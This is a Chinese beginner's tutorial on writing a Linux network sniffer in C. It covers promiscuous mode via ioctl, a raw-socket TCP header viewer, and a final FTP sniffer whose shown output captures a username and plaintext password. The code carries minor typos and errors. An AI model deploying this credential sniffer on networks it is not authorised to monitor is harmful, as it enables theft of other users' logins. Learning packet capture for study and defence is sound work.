Linux下sniffer的编写(新手上路)

Sniffer程序是把NIC(网络适配卡,一般如以太网卡)置为一种叫promiscuous杂乱模式的状态,一旦网卡设置为这种模式,它就能是 sniffer程序能接受传输在网络上的每一个信息包。普通的情况下,网卡只接受和自己的地址有关的信息包,即传输到本地主机的信息包。要使 sniffer能接受处理这种方式的信息,网卡就必须设置为我们刚开始将的杂乱模式,所以需要Root用户来运行这种sniffer程序,所以大家知道 sniffer需要root身份安装,而你即使以本地用户进入了系统,你也嗅探不到root的密码,因为不能运行sniffer.
所以编写sniffer的步骤为:
1. set promiscuous, 设置网卡为杂乱模式.
2. sniffer network packet 监听网络数据包
3. Decode packet 对数据包解码(当然你要对网络数据的构成要有所了解)
第一步:
在linux 下,非常简单的用ifconfig来, 使你要的网卡设置成杂乱模式
[root/chi root]#ifconfig
eth0  Link encap: Ethernet HWadd 00:50:56:46:40:41
  inet addr: 192.168.25.3 Bcast: 192.168.25.255 Mask: 255.255.255.0
  UP BROADCAST RUNNING MULTICSAT MUT:1500
  .....................
[root/chi root]#ifconfig eht0 promisc
[root/chi root]#
用ifconfig把网卡eth0设置成杂乱模式.当然这只是对ifconfig的利用, 如何自己写个setpromisc.c
如下:
/*****************************set_promisc.c**************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#define INTERFACE "eth0"          /* 默认网卡 */
main(int argc,char *argv[])
{
int sock;
char *inter;    
if(argc == 1)    
inter = INTERFACE;
if(argc ==2)
inter = argv[1];
if(argc >2) {
printf("usage: %s <interface> /n",argv[0]);
exit(0);
}
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) <0) { /* 定义套接字为SOCK_RAW */
printf("The raw socket was not created/n");
exit(0);
}
set_promisc(inter,sock);
}
int set_promisc(char *interface, int sock ) {      /* 杂乱模式函数 */
struct ifreq ifr;                    /* ifreg结构 */
strncpy(ifr.ifr_name, interface,strlen(interface)+1);  /* 输入网卡名 */
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {      /* 接收网卡信号 */
printf("Could not retrive flags for the interface/n");
exit(0);
}
printf("The interface is ::: %s/n", interface);
ifr.ifr_flags |= IFF_PROMISC;              /* 设置网卡信号 = IFF_PROMISC */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc mode/n", interface);
}
/*****************************************************************/
使用:
[root/chi root]#gcc -o set_promisc set_promisc.c
[root/chi root]#./set_promisc
The interface is ::: eth0
Setting interface ::: eth0 ::: to promisc mode
[root/chi root]#
第2步
写个tcpview.c来查看网络的信息,当然你要先了解网络数据包的构成,数据包大都采用封包的格式,先看看Tcp/IP协议吧
这个协议遵守一个四层的模型概念:应用层、传输层、互联层和网络接口层。
________________________
|  Application Layer  |   应用层 - 应用程序 Telnet Ftp等等
|_______________________|
|  Transport Layer   |   传输层 - 传输协议在计算机之间提供通信会话 。
|_______________________|        传输控制协议TCP;用户数据报协UDP
|  Internet Layer   |   互联层 - 互联协议将数据包封装成internet数据包  
|_______________________|
| Network Access Layer | 网络接口层 - 负责数据帧的发送和接收.
|_______________________|                  
了解Tcp/ip的应用后,也许你还会联想到OSI模式, 不过共同点是每个要发送到网络的数据就要经过处理(封包).
_____________________
|   Ethernet    |       一个用TFTP来发送的数据包.
| ________________  |       1. 用Tftp来封装数据
| |   IP    | |       2. 使用用户数据报协UDP;
| | |------------| | |       3. 使用互联协议IP
| | |  UDP   | | |       4. 通过网络接口并发送
| | | __________ | | |
| | ||  TFTP  || | |
| | || ________ || | |
| | ||| DATA ||| | |
|_|_|||________|||_|__|
对Tcp和ip协议的简述, 我就一笔代过, 不过你还是要了解下, 在Linux(Redht 7.3)下对他们的定以,打开/usr/include/netinet/ip.h
struct iphdr {
       unsigned int version:4; /* 版本 */
       unsigned int ihl:4;   /* Internet包头长度 */
       u_int8_t tos;      /* 服务类型 */
       u_int16_t tot_len;    /* 总长度 */
       u_int16_t id;      /* 标识 */
       u_int16_t frag_off;   /* 段偏移量 */
       u_int8_t ttl;      /* 生存时间 */
       u_int8_t protocol;    /* 协议 */
       u_int16_t check;     /* 头校验码 */
       u_int32_t saddr;     /* 源地址*/
       u_int32_t daddr;     /* 目的地址 */
      };
打开/usr/include/netinet/tcp.h
struct tcphdr {
       u_int16_t source;  /* 源端口 */
       u_int16_t dest;   /* 目的端口 */
       u_int32_t seq;    /* 序列码 */
       u_int32_t ack_seq;  /* 确认码 */
       u_int16_t res1:4;
       u_int16_t doff:4;
       u_int16_t fin:1;
       u_int16_t syn:1;
       u_int16_t rst:1;
       u_int16_t psh:1;
       u_int16_t ack:1;
       u_int16_t urg:1;
       u_int16_t res2:2;
       u_int16_t window;  /* 窗口 */
       u_int16_t check;   /* 校验位 */
       u_int16_t urg_ptr;  /* 优先指针 */
      };
   
有的sniffer则使用自己定一的tcp.h和ip.h,不过内容不变;
/***********************tcp_view.c *******************************/
#include <stdio.h>   /* 对printf(), std_out等基本命令的定义 */
#include <sys/socket.h> /* 对SOCKET_RAW和网络协议的定义 */
#include <netinet/in.h> /* 对sockaddr_in的定义 */
#include <arpa/inet.h> /* 对于网络数据转换的定义, 如ntohs等 */
#include <netinet/ip.h>
#include <string.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
main()
{
int sock,bytes_received,len;
char buffer[65535];
struct sockaddr_in addr;
struct iphdr *ip;
struct tcphdr *tcp;
if((sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {    /* 使用SOCK_RAW */
printf("sniffer failt/n");
exit(0);
}
while(1)
{
len = sizeof(addr);
bytes_received = recvfrom(sock,(char *)buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&len);
printf("/nBytes received %5d/n",bytes_received);
printf("Source address %s /n",inet_ntoa(addr.sin_addr));
ip = (struct iphdr *)buffer;                 /* 格式化buffer的内容 */
printf("IP hearder length %d/n",ip->tot_len);
printf("Protocol %d/n",ip->protocol);
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));    /* 格式化ip数据后面的buffer内容 */
printf("Source port %d/n",ntohs(tcp->source));
printf("Dest port %d /n",ntohs(tcp->dest));
}
}
/****************************************************************************/
[root/chi root]#ifconfig eth0 promisc
[root/chi root]#gcc -o tcp_view tcp_view.c
[root/chi root]#./tcp_view
然后我用别的电脑telnet这台主机
[root/chi root]#./tcp_view
Bytes received  40
Source address 192.168.25.1
IP hearder length 10240
Protocol 6
Source port 3173
Dest port 23
第3步
对sniffer到的内容的读取. 在了解封包的结构后要如何把数据提出来呢, 看招.
/************************ftp_sniffer.c****************************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <net/if.h>
#include <netdb.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <ctype.h>
#include <sys/file.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#define FTP 21
#define INTERFACE "eth0"                      /* 网卡 */
int set_promisc(char *interface,int sock)              /* 杂乱模式 */
{
struct ifreq ifr;
strncpy(ifr.ifr_name, interface,strlen(interface)+1);
if((ioctl(sock, SIOCGIFFLAGS, &ifr) == -1)) {
printf("Could not retrive flags for the interface/n");
exit(0);
}
ifr.ifr_flags |= IFF_PROMISC;
if(ioctl(sock, SIOCSIFFLAGS, &ifr) == -1 ) {
printf("Could not set the PROMISC flag./n");
exit(0);
}
printf("Setting interface ::: %s ::: to promisc/n", interface);
}
main()
{
struct iphdr *ip;
struct tcphdr *tcp;
struct sockaddr_in addr;
char buffer[1024];
char *data;
int sock,byte_size,addrlen;
addrlen = sizeof(addr);
if(( sock = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) == -1) {   /* 使用SOCK_RAW */
printf("socket failt /n");
exit(0);
}
set_promisc(INTERFACE,sock);
ip = (struct iphdr *)buffer;                  /* 格式化buffer */
tcp = (struct tcphdr *)(buffer+sizeof(struct iphdr));      /* 格式化去掉iphdr后的buffer */
while(1)
{
byte_size = recvfrom(sock,(char *)&buffer,sizeof(buffer),0,(struct sockaddr *)&addr,&addrlen);
if((ntohs(tcp->dest)) == FTP)                  /* sniffer FTP 密码 */
{
data = &buffer[sizeof(struct iphdr) + sizeof(struct tcphdr)];  /* data 等于去掉iphdr和tcphdr后的buffer内容 */
printf("data: %s",data);
}
}
}
/*************************************************************************/
上面这个是一个简单的ftp密码sniffer.运行结果:
[root/chi tmp]#gcc -o ftp_sniffer ftp_sniffer.c
[root/chi tmp]#./ftp_sniffer
我在别的主机尝试ftp到这个开了sniffer的电脑上,写上用户名, 密码;
[root/chi tmp]#./ftp_sniffer
data: Z 07:32:41 EDT 2002
......同上
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: Z 07:32:41 EDT 2002
data: USER chi
07:32:41 EDT 2002
......同上
data: USER chi           <------------- 用户名
07:32:41 EDT 2002
data: PASS password         <------------- 密码
:41 EDT 2002
data: PASS password
:41 EDT 2002
data: SYST
.........
^c
[root/chi tmp]#
看到这里, 你就写出了自己的sniffer了, 当然功能有待扩展, 不过网络上也有好多这样的sniffer程序,比如sniffit,tcpdump,dsniff.等等, 都是很好的选择.

你可能感兴趣的:(linux,struct,socket,tcp,buffer,interface)